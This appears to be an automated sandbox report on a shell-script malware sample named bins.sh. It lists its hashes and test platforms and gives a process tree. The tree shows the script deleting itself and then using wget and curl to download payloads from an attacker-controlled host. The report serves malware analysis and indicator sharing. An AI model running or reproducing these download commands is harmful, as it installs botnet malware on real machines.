Analysis
-
max time kernel
148s -
max time network
131s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
09/12/2024, 21:11
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
ca8f80fccdd799237712a1f5294be13b
-
SHA1
b1b54810c00d598466099dfe52badb33d1f4a8f5
-
SHA256
c0247f27d9fe7c27c45d1e54ea8b969c46eb15c77021e18712c47b2bbf8c6e55
-
SHA512
c57c489a43abeaeb41fb484417d061ae9d89134be9ec4c9967391d88380b435cf2f796faffeb49c22031f46257806462fd333dabc35f07919ba405f4409e2b47
-
SSDEEP
96:YDfjqUYDLSqmQLvDiLFlrHJh8LG20y8qy8iy81a8N8Z8r+kLRpip6pnQkoUvDrUD:lSQistm6RQwscWqm6RQwebo
Malware Config
Signatures
-
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1489 wget 1493 curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1484
-
/bin/rm/bin/rm bins.sh2⤵PID:1486
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov2⤵
- System Network Configuration Discovery
PID:1489
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov2⤵
- System Network Configuration Discovery
PID:1493
-